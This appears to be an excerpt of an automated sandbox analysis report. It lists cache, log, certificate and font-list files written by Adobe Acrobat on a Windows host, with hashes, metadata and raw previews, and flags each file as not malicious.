Malicious:	false
Preview:	...!.....................................;...{.......}E......{}..............{}......{}.vv_Q.....{}..................E.k.....}E.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.194902518235849
Encrypted:	false
SSDEEP:	6:iO4qV5SQ+q2PqLTwi2nKuAl9OmbnIFUtSqADrgZmwsqADrQVkwOqLTwi2nKuAl91:7b5SVv8wZHAahFUt0g/GI5TwZHAaSJ
MD5:	F134BFAE8A59BEB0DF933C1AE1CF9B13
SHA1:	B12CC304B79F4E3E92445C9EE27E9174851FE556
SHA-256:	22A41F3056455CF0F4F91FD58CC9567090D15E1887A48EC83636EDC536263128
SHA-512:	BCCE7DA73A5412C8A6E2139E77135496C3615584BE0FBD6AD9EFB4604D27EB4B54DA3C7D0AA6E8B45188C3860FCD0F9FD06591AF2BB49D5E39BE39454DCAC41E
Malicious:	false
Preview:	2025/01/10-21:31:16.417 1f58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:31:16.420 1f58 Recovering log #3.2025/01/10-21:31:16.420 1f58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.194902518235849
Encrypted:	false
SSDEEP:	6:iO4qV5SQ+q2PqLTwi2nKuAl9OmbnIFUtSqADrgZmwsqADrQVkwOqLTwi2nKuAl91:7b5SVv8wZHAahFUt0g/GI5TwZHAaSJ
MD5:	F134BFAE8A59BEB0DF933C1AE1CF9B13
SHA1:	B12CC304B79F4E3E92445C9EE27E9174851FE556
SHA-256:	22A41F3056455CF0F4F91FD58CC9567090D15E1887A48EC83636EDC536263128
SHA-512:	BCCE7DA73A5412C8A6E2139E77135496C3615584BE0FBD6AD9EFB4604D27EB4B54DA3C7D0AA6E8B45188C3860FCD0F9FD06591AF2BB49D5E39BE39454DCAC41E
Malicious:	false
Preview:	2025/01/10-21:31:16.417 1f58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:31:16.420 1f58 Recovering log #3.2025/01/10-21:31:16.420 1f58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.122759047246021
Encrypted:	false
SSDEEP:	6:iO4qAv4q2PqLTwi2nKuAl9Ombzo2jMGIFUtSqDJZmwsqWDkwOqLTwi2nKuAl9OmT:72v4v8wZHAa8uFUtXJ/wD5TwZHAa8RJ
MD5:	A87531DA66B4AAC13E64B14AA13CEB73
SHA1:	B6691E0F5EDF0D5422C9F6DBB2C62CDAB8E4B697
SHA-256:	72F0B2CD2AA00A9B0599BFD3996CFAD535AFE31F6465AC580632FEF99FAB1F37
SHA-512:	06F86A37869E81E416D285E4DDD15198E8DA3C0714FEBBAEC640854E2C459B98A4690D33E458847DFD117409D7E8F1FCDA87DDCBFD3990C17E8810DB7D55C89C
Malicious:	false
Preview:	2025/01/10-21:31:16.752 1220 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:31:16.755 1220 Recovering log #3.2025/01/10-21:31:16.756 1220 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.122759047246021
Encrypted:	false
SSDEEP:	6:iO4qAv4q2PqLTwi2nKuAl9Ombzo2jMGIFUtSqDJZmwsqWDkwOqLTwi2nKuAl9OmT:72v4v8wZHAa8uFUtXJ/wD5TwZHAa8RJ
MD5:	A87531DA66B4AAC13E64B14AA13CEB73
SHA1:	B6691E0F5EDF0D5422C9F6DBB2C62CDAB8E4B697
SHA-256:	72F0B2CD2AA00A9B0599BFD3996CFAD535AFE31F6465AC580632FEF99FAB1F37
SHA-512:	06F86A37869E81E416D285E4DDD15198E8DA3C0714FEBBAEC640854E2C459B98A4690D33E458847DFD117409D7E8F1FCDA87DDCBFD3990C17E8810DB7D55C89C
Malicious:	false
Preview:	2025/01/10-21:31:16.752 1220 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:31:16.755 1220 Recovering log #3.2025/01/10-21:31:16.756 1220 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9602737064168165
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqQMysBdOg2Hggcaq3QYiub5P7E4T3y:Y2sRdsQdMHc3QYhbt7nby
MD5:	32846B6792FF41795FA93941BA97AA6A
SHA1:	F6DA607A99792057D6402A7D51CBDF16E22963E2
SHA-256:	8786581CF7643968409C50D9180BB3A87C32A30F6F8C05F99F4227B0517ACD67
SHA-512:	1A7EFC8ED389AC90909DDF053FB743B23049DE363DC6C2337312B7B3D781DD329883EC666685C364B31B78D70DA86745C903E236E5D4E8B3E60298F7DD6903AE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122688038073","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123368},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b82b9cae-4345-4dd9-a648-4f226429a72d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9602737064168165
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqQMysBdOg2Hggcaq3QYiub5P7E4T3y:Y2sRdsQdMHc3QYhbt7nby
MD5:	32846B6792FF41795FA93941BA97AA6A
SHA1:	F6DA607A99792057D6402A7D51CBDF16E22963E2
SHA-256:	8786581CF7643968409C50D9180BB3A87C32A30F6F8C05F99F4227B0517ACD67
SHA-512:	1A7EFC8ED389AC90909DDF053FB743B23049DE363DC6C2337312B7B3D781DD329883EC666685C364B31B78D70DA86745C903E236E5D4E8B3E60298F7DD6903AE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122688038073","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123368},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.227657633551806
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzJNCgVWt:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzJk
MD5:	4FE4727438A8315E51922EAD1B1A6F9A
SHA1:	AC34C1EB949BFB8DEE2A5211E65C7E8323393BB6
SHA-256:	C831A339C3025BD75E08A52C00069B282173A249880A6B70E95095167D9A7638
SHA-512:	8DC9D04BE2E20ACA0407D898CAB8B5771CB1E467ABD32C6909E479F7232D6AE2BB347FE7647F7AF369D379CB72AA46061CC122978CD1F2F6EB83499AB05484DA
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.048256692669742
Encrypted:	false
SSDEEP:	6:iO4qwc4q2PqLTwi2nKuAl9OmbzNMxIFUtSqyuX/JZmwsqyuX/DkwOqLTwi2nKuAo:7D4v8wZHAa8jFUtWcJ/EcD5TwZHAa84J
MD5:	2E111A60A887FF99B35E7DF3DE1F1DB9
SHA1:	C31916FD91919E3FB8E51297410BB5BF3B78A0CD
SHA-256:	07966896635601D960E188A255527C3FC5978D5A1E153F5268CA4C399AA309B3
SHA-512:	E19B86C051EEADDD6B3D3E564603EA5104B81BE19EB6C546C529F5F11D004FBA79355F1A665A2023B7ECD3F8D0809B6EBB53C53D7445332E44DCAEE12C70A2E7
Malicious:	false
Preview:	2025/01/10-21:31:17.200 1220 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:31:17.202 1220 Recovering log #3.2025/01/10-21:31:17.202 1220 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.048256692669742
Encrypted:	false
SSDEEP:	6:iO4qwc4q2PqLTwi2nKuAl9OmbzNMxIFUtSqyuX/JZmwsqyuX/DkwOqLTwi2nKuAo:7D4v8wZHAa8jFUtWcJ/EcD5TwZHAa84J
MD5:	2E111A60A887FF99B35E7DF3DE1F1DB9
SHA1:	C31916FD91919E3FB8E51297410BB5BF3B78A0CD
SHA-256:	07966896635601D960E188A255527C3FC5978D5A1E153F5268CA4C399AA309B3
SHA-512:	E19B86C051EEADDD6B3D3E564603EA5104B81BE19EB6C546C529F5F11D004FBA79355F1A665A2023B7ECD3F8D0809B6EBB53C53D7445332E44DCAEE12C70A2E7
Malicious:	false
Preview:	2025/01/10-21:31:17.200 1220 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:31:17.202 1220 Recovering log #3.2025/01/10-21:31:17.202 1220 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438311612538101
Encrypted:	false
SSDEEP:	384:SeZci5GViBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:GZurVgazUpUTTGt
MD5:	36E73421385664794499705B474E1DFD
SHA1:	12F857C242D97C749D1C964D39697D78904AA795
SHA-256:	0AA8F1856C5FBE0031195C540EBC8098D1A748FC0B051124F0F5766F834A777B
SHA-512:	41803ED23E4942BF9EE560768E1D09B55F7C85E935071635A41A233D60A1F015F9CE88EBC21C1B2C4DF7CC01C4379E6A160233F48811F7E709F007BD6993AE21
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2155859906465936
Encrypted:	false
SSDEEP:	24:7+tpLZ6wKOqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mg:7MDWOqPmFTIF3XmHjBoGGR+jMz+LhJ
MD5:	07F48C4CDDF6B9FA06EC7848F103F3E7
SHA1:	BA6A1023BD81324D2656436D22C5094A690301A2
SHA-256:	B6350E46BB1269C8CCE9FD28A10A80CF9BCB17EA8D9C9EF29187C037B257F9AB
SHA-512:	61E208A588D3810C419D243416E2756AA3475E3472B17005D63B04F48E6D90695B3E75228D5179647ACA0BAAB162D27DEEB537E4F52AC4183ED1B49200211517
Malicious:	false
Preview:	.... .c........[........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklZhUsPtfllXlE/HT8kuezlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKvsPeT8ezldNMa8RdWBwRd
MD5:	AA7FDCFB6345BAD2D75A615E1F7DC2FF
SHA1:	36410BCBADBEDD67BCE79627E39B22F11820FC4F
SHA-256:	35226DA6E8B99CC4CFA73BFABC0F2E6BF208CEE1748A238A4407314448BFD449
SHA-512:	727D62C604B2B6FEBFD381404764A7CEEF65547A7B2CC335A69B4A709A7B1F936073DE366C3187A1BBA1DE0419FD6CB9F5631523C3A0C5252ADAF240C8CEE5CB
Malicious:	false
Preview:	p...... .........q..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2345913795203645
Encrypted:	false
SSDEEP:	6:kKGL/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:KiDImsLNkPlE99SNxAhUe/3
MD5:	765BDBF686911C8E528D1CC4E20D6148
SHA1:	ED21CB82DAC62F0A1EA0E8D67E310D232BEED05D
SHA-256:	E0AEFDD53734C4D1B8BDDB141251B39BF429F5D02EB80931E11834AE3E280E35
SHA-512:	5D4D58F8A67BDC40A9647F01A1FDC725389FAD22B99895AD2AF122D9F840B0F22A40596F674F351EE67C6AFEC1C9A1071EC2D0A64EB55BC3B869515A10686A80
Malicious:	false
Preview:	p...... ........"...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7840

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
